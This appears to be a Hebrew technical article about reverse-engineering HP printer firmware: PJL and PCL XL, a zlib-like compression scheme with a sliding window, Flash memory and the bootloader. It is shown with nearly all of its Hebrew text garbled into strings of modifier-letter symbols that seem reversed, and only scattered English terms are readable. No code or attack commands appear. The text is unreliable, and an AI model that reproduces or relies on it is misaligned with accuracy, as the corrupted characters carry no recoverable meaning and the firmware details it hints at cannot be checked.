 ˞˶˵ˮ˷ ˧ˡˣ˰˧˧ ˪ˣ˵ˣ˦ˣ˶˲˟ ˢ˯˲ˡˢ ˸ˣˬ˧˷ˬ ˪˟˵˪ ˧ˡ˩άtW[ - tǊƛƴǘ Wƻō [ŀƴƎǳŀƎŜέ. 

 

]˸˶˸ˣ˩ ˳˟ˣ˵ ˭ˣ˩ˡ˰ˢ - ˸˪˪ˣ˩ ˸˞ ˸˧˪˧˥˸ˢ ˪˷ PJL[ 

 

 ˦ˬ˶ˣ˲˟ ˸ˬ˞˟ ˞ˣˢ ˣˮ˪˷ ˭ˣ˩ˡ˰ˢ ˳˟ˣ˵ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˣˬ˩ ˤ˞PJL ˫˷ˣ˶ ˢ˷ˣ˰ ˳˟ˣ˵ˢ ˪˷ ˧ˮˣ˷˞˶ ˭ˣ˥˟˞˟ .

 ˯ˣ˥ˡ ˞ˣˢ˷- .ˢˢˣ˟ˠ ˸˧˯˥˧ ˢ˧˲ˣ˶˦ˮ˞ ˪˰˟ˣ ˸ˣˤˣ˶˥ˬ ˢ˟˶ˢ ˪˧˩ˬ ˞˪ ˞ˣˢ  ˸˟˩˷˪ ˰˧ˠˢ˪ ˧ˡ˩˟˷ ˶ˬˣ˞ ˢˤ

 .ˣ˸ˣ˞ ˥ˣ˸˲˪ ˭˸˧ˮ ˨˧˞ ˟ˣ˷˥ ˶˸ˣ˧ ˧˪ˣ˞ˣ ˢˤˢ ˦ˬ˶ˣ˲ˢ ˧ˣˮ˟ ˨˧˞ ˭˧˟ˢ˪ ˨˶˦˴ˮ ˣˮ˸ˣ˞ ˸ˮ˧˧ˮ˰ˬ ˸ˬ˞˟˷ ˡˣ˵ˢ

ˤˢ ˢ˶˵ˬ˟ ˶˸ˣ˧˟ ˣˮ˧˪˰ ˢ˟˧˟˥ˢ ˢ˧ˠ˦˶˦˯˞ˢ ˭˟ˣˬ˩ ˞˧ˢ ˢ- Just Google It. 

" ˞˶˵ˮ˷ ˧˦ˮˣˣ˪˶ˢ ˨ˬ˯ˬ˪ ˣˮ˰ˠˢ ˰ˠ˧˧ˬ ˷ˣ˲˧˥ ˶˥˞˪PCL XL Feature Reference Protocol Class 2.1 

Supplement ˨˧˞ ˢ˶ˣ˶˟ ˢ˶ˣ˴˟ ˶˞˸ˬ ˞˪ ˞ˣˢ .(!) ˨ˣ˶˞ ˷ˬˬ ˷ˬˬ ,˨ˣ˶˞ ˷ˬˬ ,˨ˣ˶˞ ˧ˡ ˢˤˢ ˨ˬ˯ˬˢ ,"

 ˪˷ ˸˧ˬ˧ˮ˲ ˢ˧˴ˬ˶ˣ˲ˮ˧˞ ˣˤ ˢ˞˶ˮˢ ˪˩˩˷ ˭ˣˣ˧˩) ˭ˣ˩ˡ˰ ˳˟ˣ˵ ˢ˞˶ˮHP ˸ˣ˧ˣ˶˷˲˞ ˶˲˯ˬ ˶˞˸ˬ ˭˩ ˞ˣˢ ˪˟˞ ,(

˷ ˢ˞˶ˮ ˣˮ˪˷ ˦ˬ˶ˣ˲˟ ˢ˶˧˟ˮ ˡˣ˞ˬ ˢ˟˶ˢ ˶˥˞˪ˣ ˢ˯˧˥ˡˢ˟ ˫˧˷ˬ˸˷ˬ˷ ˸ˣ˧ˣ˶˷˲˞ˢ ˵ˣ˧ˡ˟ ˣ˪˞ ˭.ˣˮ˪˴˞ 

˰˷ˬ ˧ˡ ˭ˢ˷ ˸ˬ˞˟ ˧˩ ,ˣ˪˞ˢ ˸ˣ˯˧˥ˡˢ ˪˰ ˧ˡˬ ˶˸ˣ˧ ˭˞˩ ˟˧˥˶ˮ ˞˪ ˰ˣˬ˷˪ ˭˧˧ˮˣ˰ˬ ˣˢ˷˧ˬ ˫˞ ...˸ˣˬˬ

˰.˟˧˥˶ˢ˪ ˥ˬ˷ˮˣ ˣˮ˧˪˞ ˸ˣˮ˲˪ ˡ˧ˬ˸ ˶˷˲˞ ˶˸ˣ˧ ˸˴˵ ˭ˢ˧˪ 

 ˢ˞˶ˮ˷ ˳˟ˣ˵ ˫˰ ˣˮ˶˞˷ˮ ,˸ˣˮˣ˷ˢ ˢ˯˧˥ˡˢ ˸ˣ˟˩˷ ˪˩ ˸˞ ˣˮ˥˸˲ˣ ˢ˯˧˥ˡˢ ˥ˣˮ˰˲ ˸˞ ˣˮˬ˧˧˯˷ ˧˶˥˞

ˬ ˢ˟˶ˢ ˪˧˩ˬ ˞ˣˢ .˥˧˦˟ˬ ˶˸ˣ˧ ˢ˟˶ˢ.ˡˣ˵˪ ˶˸ˣ˧ ˢ˟˶ˢ ˢˬˣˡ ˸˧˞˶ˮ˷ ˢ˧˲ˣ˶˦ˮ˞ ˪˰˟ˣ ˸ˣˤˣ˶˥ 

.ˣ˸ˣ˞ ˭˥˟˞˪ˣ ˪˧˥˸ˢ˪ ˭ˬˤˢ ˰˧ˠˢ ˣ˧˷˩˰ 

ˬ ˶˸ˣ˧ ˸˴˵) ˪ˣˡˠ ˞ˣˢ ˳˟ˣ˵ˢ-25MB ˢ˶˦ˬˢ ˭˩˪ .˫˧ˮˣ˷ ˫˧˵˪˥ ˶˲˯ˬˬ ˟˩˶ˣˬ ˞ˣˢ ˣ˪˧˞˩ ˢ˞˶ˮˣ ,(

˵ˢ *˸˪˧˥˸˟ ˶˟˩ ,˰˧˸˲ˬ ˞˪ ˧ˡ ˭˲ˣ˞˟ .˫˧ˮˣ˷ˢ ˫˧˵˪˥ˢ ˭˧˟ ˡ˧˶˲ˢ˪ ˭˸˧ˮ ˨˧˞ ˭˧˟ˢ˪ ˞˧ˢ ˢˮˣ˷˞˶ˢ ˳˟ˣ

ˢ ˳˟ˣ˵ ˧˶˥˞ ˡ˧ˬ) ˢ˪˟˦ ˣˬ˩ ˢ˞˶ˮ˷ ˫˧ˣ˯ˬ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˞ˣ˴ˬ˪ ˭˸˧ˮ-BMP  ˪˷ ˢˮ˧˰˦ˢ ˨˯ˬ ˪˷

˪ ˢ˵ˣ˪˥ˢˣ ˳˟ˣ˵ˢ ˢˮ˟ˬ ˸˞ ˸˶˞˸ˬ˷ ˢ˪˟˦ ˸ˬ˞˟ ˣˤ˷ ˶˟˸˯ˬ ˭ˣ˥˟˞ ˸˴˵ ˧˶˥˞ .(˸˯˲ˡˬˢ-sections 
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.ˣ˪˷ ˫˧ˮˣ˷ˢ  ˸˶˞˸ˬ ˢ˪˟˦˟ ˢˡˣˬ˰ ˪˩section .ˣˬ˷ ˸˞ˣ ˣ˪˷ ˪ˡˣˠˢ ,˳˟ˣ˵˟ ˣˬˣ˵˧ˬ ˸˞ ,ˢˮˣ˷ 

˟˦ˢˢ ˳˟ˣ˵ˢ ˸˞ ˵˪˥˪ ˪˰ˣ˲˟ ˣˮ˪ ˸˶˷˲˞ˬ ˣˤˢ ˢ˪˸˧ˮ˷ ˨˩ ,˶˸ˣ˧ ˫˧ˮ˦˵ ˫˧˵˪˥˪ ˪ˣˡˠ ˭ ˵˪˥ ˪˩ ˭˥˟˞˪

.˶˸ˣ˧ ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ˷ ˫˧˵˪˥˟ ˤ˩˶˸ˢ˪ˣ ˡ˶˲ˮ˟ 

ˢ ˪˷ ˡˣ˵ˢ ˸˞ ˞ˣ˴ˬ˪ ˞˧ˢ ˣˮ˪˷ ˢ˶˦ˬˢ˷ ˭ˣˣ˧˩ˬ-firmware ,section  ˞ˣˢ .ˡ˥ˣ˧ˬ˟ ˥˧˦˟ˬ ˣˮ˪ ˢ˞˶ˮ ˡ˥˞

-ssection  ˰ˡ˧ˬ ˪˧˩ˬ ˞ˣˢˣ ˶˸ˣ˧˟ ˪ˣˡˠˢ... ˶˩ˣˬ ˡˣ˞ˬ ˣˮ˪ ˢ˞˶ˮ˷ 

 

]˸˯˧˲ ˡˣ˵ ˫˰ ˸˟ˣ˸˧˩ ˸˧˞˶ˮ˷ ˭˲ˣ˞˟ ˡ˧˷˥ˬ ˣˬ˩ :άŜǊǊƻǊΥ L ŘƻƴΩǘ ǳƴŘŜǊǎǘŀƴŘέ[ 

˪ ˧˞˶˥˞˷ ˡˣ˵ˢˬ ˵˪˥ ˢ˞˶ˮˢ ˪˩˩ ˢˤ ,˭ˣ˩ˮ ˫˸˧ˢ˧ˤ ,˭˩-serial debug ˣˮ˰ˠˢ˷ ˢ˞˶ˮ˩ ˶ˬˣ˞ ˢˤ (!) ˭˧ˣ˴ˬ .

 ˣˢ˷ˬ˷ ˟˪ ˣˬ˧˷˸ ˢ˞˶ˮ˩ ,˶˸ˣ˧ ˟ˣ˶˵ ˸˴˵ ˣ˪˩˸˯˸ ˫˞ ˪˟˞ .˭ˣ˩ˮˢ ˫ˣ˵ˬ˪.˭˞˩ ˶ˡ˯˟ ˷ˬˬ ˞˪ 

ˢ ˪˩ˬ ˧˦ˮ˦˯˧˯ˮˣ˵ ˧ˡ ˭˲ˣ˞˟ ˫˧˶˯˥ ˣ˪˞ˢ ˫˧ˣˣ˸ˢ .˫˧˶˯˥ ˭˞˩ ˸ˣ˞˶˪ ˣˮ˧˲˧˴˷ ˫˧ˣˣ˸ˢˬ ˵˪˥-section  ,ˢˤˢ

 ˫˷ ˣˮ˥ˮ˞˷ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞˷ ˸ˣ˶ˬ˪˷ ˨˩-  ˞˪ ,˫˧˶˯˥ˢ ˫˧ˣˣ˸ˢ ˫ˢˬˣ ˫˧ˣˣ˸ ˣˮ˪ ˫˧˶˯˥ ˰ˣˡˬ ˭˧˟ˮ ˞˪˷ ˡ˰

.˫ˡ˵˸ˢ˪ ˸ˬ˞˟ ˪˩ˣˮ 

 ˞ˣˢ ˭˧˟ˢ˪ ˨˧˶˴˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ- ?˭˞˩ ˨˪ˣˢ ˢˬ ?˫˧ˣˣ˸ ˣˮ˪ ˫˧˶˯˥ ˢˬ˪ ?ˢˤ ˢˬ  ˣˮ˪ ˭˧˞ ˢˤˢ ˟˪˷˟

 ˞˧ˢ ˢ˧ˣˤˢ ˸ˣ˥˲ ˧˩ˢ ˸ˣ˶˷˲˞ˢ ˪˟˞ .˸ˣ˧ˣˤˢ ˧ˡ ˸ˣ˞˶ˮ ˸ˣ˧ˣ˶˷˲˞ˢ ˪˩ ˧˩ ,ˣˤˢ ˢ˪˞˷˪ ˢ˟ˣ˦ ˷ˬˬ ˢ˟ˣ˷˸

 ˢ˪˧˰˧ ˞˪ ˷ˬˬ ˢ˯˧˥ˡ ˣˤ ,˭˩ ˫˞ .ˢ˯˧˥ˡ ˪˷ ˫˧ˣ˯ˬ ˠˣ˯ ˡˣ˰ ˢˤ˷- ˢ ˸˞ ˯ˣ˥ˡ˪ ˪˷ˬ˪ ˢ˯ˮˮ ˫˞˷ ˭ˣˣ˧˩ˬ-

section  ˫˰zlib ˩˟ ˢ˪˧˰˧ ˢ˯˧˥ˡ ˪˟˵ˮ ˶˸ˣ˧˟ ˫˧˧˦˶ˡˮ˦˯ˢ ˢ˯˧˥ˡˢ ˧˪˩ ˡ˥˞ ˞ˣˢ˷-80%  ˫˞ ˪˟˞ .(!)

 ˪˩˩ ˢ˧ˣˤˢ ,˸˶˸ˣˮˢ ˢ˧˴˲ˣ˞ˢ ,˸ˣ˶˥˞ ˸ˣ˧˴˲ˣ˞ ˶ˡ˰˧ˢ˟˷ ˢˤ ˣˮ˸ˣˡ˪˧˟ ˯ˬ˪ˣˢ ˵ˣ˪˶˷ˬ ˣˢ˷ˬ ˣˮˡˬ˪

.ˢˮˣ˩ˮˢ ˢ˞˶ˮ˩ ˞˧ˢ ,ˢ˧ˢ˸˷  ˸˞ ˭˥˟˞˪ˣ ˪˧˥˸ˢ˪ ˣˮ˷ˠ˧ˮ ˣˢ˷˪˩ ˢ˯˧˥ˡ ˫˸˧˶ˣˠ˪˞ ˣˢˤ˷ ˢ˥ˮˢˢ ˸˥˸ ˭˩˪

˥ˡˢ ˭˲ˣ˞.ˢ˯˧ ˢˬ ˵˪˥ ˞˧ˢ ˢ˦ˬ˪ ˢˮˣˬ˸ˢ-section  ˭˞˩ ˸ˣ˞˶˪ ˣ˪˧˥˸˸˷ ˭˩˸˧˧ ˟˦˧ˢ ˣ˪˩˸˯˸ ˫˞ ,ˣˮ˪˷

.˸ˬ˧ˣ˯ˬ ˸˧ˮ˟˸  ˞˶ˣˮ ˞˪ ,˞˪ ˫˞ ?˫˸˥˪˴ˢ ...ˢˤ ˸˞ ˸ˣ˯ˮ˪ ˢ˧ˮ˷ ˫˩˪ ˣ˥˵-  ˵ˣ˧ˡ˟ ˢˬ˪ ˶˴˵ ˶˟˯ˢ ˢˮˢ

:˭˞˩ ˨˪ˣˢ 

 

]ˢˮˣˬ˸ ˪˷ ˸ˤˣ˶˥ˬ ˢ˯ˣ˥ˡ .˵˪˥˟ ˭ˣ˧˪˰ˢ ˢ˰˧˲ˣˬ ˸ˤˣ˶˥ˬˢ ˢ˶ˣ˴˟ ˢ˯˧˲ˡ ,˵˪˥˟ˣ ˭ˣ˸˥˸ˢ ˢ˰˧˲ˣˬ ˢ˸ˣ˞ ˸ˤˣ˶˥ˬˢ ,˫˰˲ˢ ˧˲˪ ˧˩˶˰ ˫˧˸˟ˢ 

˯˧˯˟˟ 16[ 
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 ˫˧ˣˣ˸ ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯ ˧ˮ˷ ˷˧ ˣˤˢ ˢˮˣˬ˸˟ .˯˧˯˟˟ ˪˧˥˸ˮ- ascii x-non-ascii ˫ˮ˧˞˷ ˫˧ˣˣ˸ˢ .ascii  ˫ˢ

˫ˢ˟ ˰ˠ˶ ˤ˩˶˸ˮ ˣ˞ˣ˟ ˤ˞ ,ˣˮ˪˷ ˽˫˧˶˯˥ˢ ˫˧˸˟˽ˢ ˫˴˰˟: 

 

]ˢ˸ˣ˞ ˸ˤˣ˶˥ˬˢ ,˶˷˞˩ ˫˰˲ˢ ˣˮˬ˪˰ˢ ˸˞ ˪˩ ˫˧ˣˣ˸ˢ ˫˧˯˧˲ˡˢ[ 

 ˭˧˟ ˵˥˶ˬˢˣ .˫˧˪ˣ˲˩ ˫˧ˣˣ˸ˣ ,˫˧ˡˡˣ˟ ˫˧ˣˣ˸ .˫˧˧˶˵˧˰ ˫˧ˠˣ˯ ˧ˮ˷ˬ ˫˧˟˩˶ˣˬ ˣ˪˞ˢ ˫˧˶˯˥ˢ ˫˧˸˟ˢ ˫ˠ

."˧˸˧ˮ˟˸" ˡˣ˞ˬ ˢ˞˶ˮ ˫˧ˡˡˣ˟ˢ ˫˧ˣˣ˸ˢ 

 

]˸ˡ˧ˡˬ ˫˧˵˥˶ˬˢ ˭˧˟ ˫˧ˣˣ˸ˢ ˫˧ˡˡˣ˟ˢ ˢ˞˶ˬ ˫˧˵˥˶ˬˢ˷ ˫˧ˮˣ˰ ˪˰ ˸˧ˮ˟˸ ˞˧ˢ˷˪˩[ 

˸˴˵ ˸ˣ˧ˢ˪ ˨ˣ˲ˢ˸ ˸˧ˮ˟˸ˢ ,ˢˮˣ˷ ˸˧ˣˣˤˬ ˢˮ˟ˬ ˣ˸ˣ˞ ˪˰ ˪˩˸˯ˮ ˫˞  ˫˧˪˧˥˸ˬ ˷ˬˬ ˣ˧˷˩˰ .ˢ˶ˣ˶˟ ˶˸ˣ˧

 ˸˧˟ˢ .ˢ˦ˣ˷˲ ˧ˡ ˸˧ˮ˟˸ˢ˷ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˣˮ˧˟˸ ,˸˞ˤˢ ˸˧ˮ˟˸˟ ˵˧˲˯ˬ ˣˢ˟˸ ˫˞ˣ .˸˧ˮ˟˸ ˸ˣ˞˶˪

 ˦ˣ˷˲ ˞ˣˢ ˢˤ˩ ˵˪˥ ˪˩˟ ˭ˣ˷˞˶ˢbitmap  ,˧ˣ˟˩ ˦˧˟ˢ ˣ˟˷ ˫ˣ˵ˬ ˪˩˟ .ˣ˧˶˥˞˷ ˫˧˸˟ˢ ˸ˮˣˬ˷ ˸˞ ˶˞˸ˬ˷

.˫˧˸˟ ˡˬ˴ ˧ˡ˧ ˪˰ ˶˞ˣ˸ˬ˷ ˫˧ˣ˯ˬ ˱ˣ˪˧˥ ˰˴˟˸ˢ 

 

]ˢ˸ˣ˞ ˸˧ˮ˟˸ˢ ,˫˰˲ˢ ˸˵˪ˣ˥ˬ ˸ˣ˶ˣ˷˪ .˭˸˧ˮ ˸˰˩ ˸ˣ˞˶˪ ˶ˣ˶˧˟˟ ˸˞ ˸ˣ˧˵ˣ˥ˢ[. 

˪˩ ˶ˣ˟˰ ˸˶ˬ˷ˮˣ ˸˧˦ˮ˦˯˧˯ˮˣ˵ ˧ˡ ˫ˠ ˞˧ˢ ˣˤˢ ˸˧ˮ˟˸ˢ !˟˧ˮˠˬ s-section ˣˮ˥ˮ˞ ˣ˧˷˩˰˷ ˪ˣˡˠ˟ ˶ˬˣ˞ ˢˤ .

 ˫˸ˣ˞ ˱˧˪˥ˢ˪ ˭˸˧ˮ ˨˧˞ˣ ,˫˧˪ˣ˲˩ˢ ˫˧˸˟ˢ ˫ˢ ˢˬ ˭˧˟ˢ˪ ˢˤ ˶˞˷ˮ˷ ˢˬ .˫˧ˡˡˣ˟ˢ ˫˧˸˟ˢ ˫ˢˬ ˫˧ˮ˧˟ˬ

 ˫˧˸˟˪ ˢ˶ˤ˥˟.˫ˢ˪˷ ˫˧˧˶ˣ˵ˬˢ 
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 ˡˬ˴ .˸˪˟ˠˣˬ ˧ˡ ˞˧ˢ ˭˞˩ ˸ˣ˧ˣ˶˷˲˞ˢ ˸ˣˬ˩˷ ˫˧ˮ˧˟ˬ ˢ˞˶ˮ˩ ˫˸˞ ˤ˞ ,ˢ˯˧˥ˡ˟ ˣˢ˷ˬ ˫˧ˮ˧˟ˬ ˫˸˞ ˫˞

 ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˞ˣˢ˷ ˣ˞ ˭ˣ˪˧ˬ˪ ˯˵ˡˮ˧˞ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˞ˣˢ ,ˢ˶ˣ˥˞/ˢˬ˧ˡ˵ ˰˧˟˴ˬ ˶˞˸˪ ˪ˣ˩˧ ˣ˪˞ˢ ˫˧˸˟ˢ

 ˪˷ ˠˣ˯ ˣˢ˷ˤ˧˞sliding window .(ˤˤ ˭ˣ˪˥) ˬˣ˪ ˸ˣ˞ˡˣˣ˟ ˧ˡ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˰˧˟˴ˬ ˪˰ ˶˟ˣˡˬ ˞˪˷ ˶

 ˰ˡ˧ˬ˪ ˫˧ˮ˧˵˸ ˫˧˶ˣ˷˧˵ ˳˟ˣ˵˟ ˫˧˷˲˥ˬ ˣˮ˥ˮ˞˷˩˷ ˭ˣˣ˧˩ ,˭ˣ˪˧ˬ ˪˰ ˶˟ˣˡˬ ˞˪˷ ˫ˠˣ ,ˢ˶ˣ˥˞/ˢˬ˧ˡ˵

 ˡ˟˪˟ ˸˥˞ ˢ˧˴˲ˣ˞ ˣˮ˪ ˶˧˞˷ˬ˷ ˢˬ .˶˟ˡ ˞ˣ˴ˬ˪ ˫˧˥˧˪˴ˬ ˞˪ ˣˮ˥ˮ˞ ˫˷ ˰˧˲ˣˢ˪ ˶ˣˬ˞˷ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷- 

sliding window. 

-˪sliding window ˫˧˩˧˶˴ ˷ ˫˧˶˦ˬ˶˲ ˶˲˯ˬ ˸ˣ˧ˢ˪ ˸˞ ˥ˣ˸˲˪ˣ ˸ˣˢˤ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ˭˧˟ˢ˪ ˨˧˶˴

.˭ˣ˪˥˟ ˢ˲˪˥ˢˢ ˫ˣ˵˧ˬˣ ,ˢ˲˪˥ˢˢ ˪ˡˣˠ ,˭ˣ˪˥ˢ ˪ˡˣˠ ˣˬ˩ ,ˢ˯˧˥ˡˢ  ˶˷˲˞ ,ˢˤ ˸˞ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞˷˩ ˣ˧˷˩˰

 ˭˷˧ˢ ˣˮˡ˧ˡ˧˪ ˸ˣˮ˲˪ ˟ˣ˷Google .ˣˮ˪˷˪ ˢˬˣˡ ˫ˣ˷˧˧ ˣˢ˷ˤ˧˞ ˞ˣ˴ˬ˪ ˸ˣ˯ˮ˪ˣ 

˧˞ ˞ˣ˴ˬ˪ ˣˮ˥˪˴ˢ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˪˟˞ ,ˢ˦ˣ˷˲ ˢˬ˧˷ˬ ˢ˸˧˧ˢ ˞˪ ˣˤ  ˶˞˸ˬ˷ ˶˸˞ ˦ˮ˶˦ˮ˧˞ˢ ˧˥˟ˮ˟ ˫˷

.(!) ˣˮ˪˷ ˢ˯˧˥ˡˢ ˸˦˧˷ ˵ˣ˧ˡ˟ ˣˤ˷ ˶˶˟˸ˬ ˟ˣ˶˵ ˶˸ˣ˧ ˸˴˵ ˦˟ˬ˟ ...ˣˮ˪˷˪ ˢˬˣˡ ˡˣ˞ˬ ˢ˯˧˥ˡ ˸˦˧˷ 

 ˫˷˟ ˢ˶˟˥ ˧ˡ˧ ˪˰ ˢ˞˴ˬˣˢ ˣˤˢ ˢ˦˧˷ˢsoftdisk ?˶˟˰˟ ˣˤˢ ˢ˯˧˥ˡ˟ ˣ˷ˬ˸˷ˢ ˢ˲˧˞ˣ ˣˤˢ ˢ˶˟˥ˢ ˧ˢˬ ,

˸˰˷˰˷ˬ ˞˧ˢ ˢ˟ˣ˷˸ˢ˷ ˶ˬ˞ˮ ˵˶ ˪˟˞ ,˭˞˩ ˢ˟ˣ˷˸ˢ ˸˞ ˢ˪ˠˮ ˞˪  .˞˶ˣ˵˪ ˪˧ˠ˶˸˩ ˢˤ ˸˞ ˶˧˞˷ˮˣ ˶˸ˣ˧˟

!ˢ˥˪˴ˢ˟ 

 ˷ˬ˸˷˧˷ ˦˲˧˶˵˯ ˢˮ˟ˮ ˫˞ .ˢ˯˧˥ˡˢ ˸˞ ˥ˣ˸˲˪ ˣˮ˪ ˣ˶˷˲˞˧˷ ˫˧˶˯˥ˢ ˫˧ˮˣ˸ˮˢ ˸˞ ˣˮ˪ ˷˧ ˣ˧˷˩˰ ˤ˞

.˫˧˶˯˥ˢ ˫˧˸˟ˢ ˪˩ ˸˞ ˪˟˵˪ˣ ˢ˯˧˥ˡˢ ˸˞ ˥ˣ˸˲˪ ˣ˧˷˩˰ ˪˩ˣˮ ˣ˪˞ˢ ˫˧ˮˣ˸ˮ˟ 

˧˸ˬ˞ ˡˣ˵ .˸˯˲ˡˬˢ ˪˷ ˡˣ˵ˢ ˸˞ ˪˧˩ˬ˷ ˳˟ˣ˵ ˪˰ ˫˧˪˩˸˯ˬ ˣˮ˥ˮ˞ ˱ˣ˯ ˱ˣ˯ .˭˥˟˞˪ˣ ˞ˣ˶˵˪ ˶˷˲˞˷ ,

 ˸ˣ˶˥˞ ˫˧˪˧ˬ˟- #.˫˧˪˧˥˸ˬ 

 

˥˵˪ ˡ˟˰˧ˡ˟ - #2 

 ˸˯˧˥ˡ ˸ˡ˟ˣ˰ ˨˧˞ ˣˮˬ˴˰˟ ˭˥˟˞˪ ˟˧ˮˠˬ ˢ˧ˢ˷ ˣˡˣ˸Firmware  ˪˷ ˸˧ˡˣ˰˧˧HP J  ˫˧˶˵ˣ˥˩ ,˸˞ˤ ˫˰ ˡ˥˧

.˫˸ˣ˞ ˱ˣ˵˰ˮ / ˡˡˣˬ˸ˮ *˨˧˞* ˣ˞ ˫˧˞˶ˮ ˫ˢ *˨˧˞* ˵˶ ˞˪ˣ ,˫ˢ˷ ˣˬ˩ ˫˧˞˶ˮ ˫˧˶˟ˡ *ˢˬ˪* ˫ˠ ˭˧˟ˮ˷ ˟ˣ˷˥ 

 ˧ˮ˟ˬ ˟ˣ˶-sFirmware  ˧˲˪ ˫˧ˮ˟ˮ ˫˧ˮˣ˷ˢ3 :˸ˣˮˣ˷ ˸ˣ˟˩˷ 

1.  ˶˴ˣˬˢ ˪˞ ˣ˪˷ ˢ˥˧˪˷ˢ ˸˰˟ ˳˟ˣ˵ˢ ˪˰ ˢˮˠˢ- ˣˢ˷˪˩ ˧ˡˣ˰˧˧ ˡˣˡ˧˵ ˣ˞/ˣ ˢˮ˲˴ˢ 

2.  ˳˟ˣ˵ˢ ˪˷ ˢ˥˧˪˷ˢ ˶ˣ˟˰ ˡˣˡ˧˵ˢ ˦ˬ˶ˣ˲- ) ˢ˯˲ˡˢ˪ ˢ˪˦ˬ ˶ˣ˸˟ ˢ˥˧˪˷ ,ˣˮ˪˷ ˢ˶˵ˬ˟Print Job( 

3. ˢ ˪˰ ˰ˡ˧ˬˢ ˭ˣ˯˥˞-Flash 

,˸ˬ˧˧˵ ˢˮ˧˞ ˢˮˣ˷˞˶ˢ ˢ˟˩˷ˢ ˫˧˶˵ˬˢ ˟ˣ˶˟  ˥ˣ˶˦˪ ˪˧˟˷˟ ˸ˣ˰ˡˣˬ ˵˧˲˯ˬ ˭˧˞ ˪˪˩ ˨˶ˡ˟ ˸ˣ˶˟˥˪

 ˸˲˩˞ ˞˪˷ ˶ˬˣ˞ ˧˸˧˧ˢ .˭ˢ˪˷ ˶˴ˣˬˢ ˸˞ ˶ˣ˵˥˪ ˫˧˶˵ˣ˥ ˪˰ ˸ˣ˷˵ˢ˪ ˣ˸˶˦ˬ ˪˩˷ ˫ˡ˞ ˥ˣ˩˟ ˰˧˵˷ˢ˪

 ˦˰ˬ˪ ,˱˯ˣˮ˟ .˭ˢ˪ ˸˲˩˞ ˞˪˷ ˰ˡˣˬ˟ ˣ˦˧˪˥˧ ˭ˢ˷ ˧ˡ˩ ˭ˢ˪˷ ˫˧˥ˮˣˬˢ ˫˪ˣ˰˟ ˞˴ˬˮ ˞˪ ˣ˪˧˲˞ ˢˤ ˪˟˞ ,˭ˢ˪

 ˭ˣ˩ˡ˰ ˧˴˟˵ ,˸ˣ˯˲ˡˬ ˪˷ ˶ˤˣˬˢ ˢ˶˵ˬ˟ ˫ˢ˷ ˣˬ˩ ˦˰ˬ˩ ˸˷˶˟ ˣ˥˪˷˧ ˫ˢˣ ,˫˧˴˟˵ ˸ˬ˞˟ ˪˪˩ ˨˶ˡ˟ ˫ˢ

ˢ ˪˰) ˥˧˷˵ˢ ˭ˣ˶˩ˤ˟ ˪˰ˣ˲˟ ˣ˶ˬ˷˧ ˸ˬ˞˟-Flash.( 
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 ˢ˯˧˥ˡˢ˷ ˶ˬˣ˞ ˢˤ ,˧ˮ˷ˢ ˟˪˷˪ ˪˪˩˟ ˢ˶ˣ˷˵ ˞˪ ˞˧ˢ˷ ˣˮ˟ˢˣ ,˭ˣ˷˞˶ˢ ˟˪˷˪ ˢˡ˰ˣˮ ˞˪ ˢ˯˧˥ˡˢ ˫˞ ˤ˞

˪ ˢ˶˧ˬ˷ˢ ˪˰ ˪˵ˢ˪ ˢˡ˰ˣˮ-Flash ˢˬ˪ ˤ˞ .HP ˟ ˷ˬ˸˷ˢ˪ ˦ˣ˷˲ ˣ˪˩˧ ˞˪-ZLIB˪ ˢˬ˪ ? ˪ˠ˪ˠˢ ˸˞ ˞˧˴ˬˢ

?˸ˣ˟ˣ˦ ˶˸ˣ˧ ˸˧˸ˣ˰ˬ˷ˬ ˢ˯˧˥ˡ ˸ˣ˞˴ˣ˸ ˠ˧˷ˬ ˷˧ˠˮ ˱ˡˬ ˭ˣ˶˸˲˷˩ ˷ˡ˥ˬ 

) ˭˦˵ ˧ˮˣ˷˞˶ ˡˣ˵ ˳˶ ˣˮ˸ˣ˞ ˫˧˪˧˰˲ˬ˷ ˫˰˲ ˪˩˟ .˸˯˲ˡˬ ˣˬ˩ ˰ˠ˶˪ ˟ˣ˷˥˪ ˢ˯ˮˮ ˣ˞ˣ˟bootloader (

ˢ .˳ˣ˶˪ ˨˧˞ ˸˰ˡ˪ ˪˩ˣˮ˷ ˧ˡ˩ ˣˮ˪˷ ˞˪ˬˢ ˡˣ˵ˢ ˸˞ ˸ˣ˪˰ˢ˪ ˣˡ˧˵˲˸˷-bootloader  ˭ˣ˶˩ˤ˪ ˸ˣ˲ˬ˪ ˧˞˶˥˞

ˢ ˸˞ˢ ˪˷ ˭˸˧ˮ˩ˣ˸˪ .˭ˣ˶˩˧ˤ˪ ˵˪˥ ˪˩ ˸ˣ˲ˬ˪ ˭˞˪ˣ ˢ˯˧˥ˡˢ ˸˞ ˥ˣ˸˲˪ ˨˧˞ ˰ˡˣ˧ ˞ˣˢ ˭˩˪ˣ ,˞˪ˬˢ ˡˣ˵-

bootloader ˢ ˪˷ ˭˸˧ˮ˩ˣ˸ˢ˷ ˸˲˩˞ ˞˪-Firmware ˟ ˷ˬ˸˷ˬ-ZLIB  ˡ˟ˣ˰ˣ ˶˥˞ ˶ˣˡˬ˟ ˟˷ˣ˧ ˞ˣˢ˷ ˪˪ˠ˟

ˢ˷ ˸˲˩˞ ˪˪˩ ˨˶ˡ˟ ˣˮ˪˷ ˭˸˧ˮ˩ˣ˸˪ .˦˵˧ˣ˶˲˟ ˸˶˥˞ ˢ˪ˣ˩˸ ˪˰-bootloader  ˶˸ˣ˧˷ ˢˬ˩ ˢ˧ˢ˧ ˪˲ˬˣ˵ˬˢ

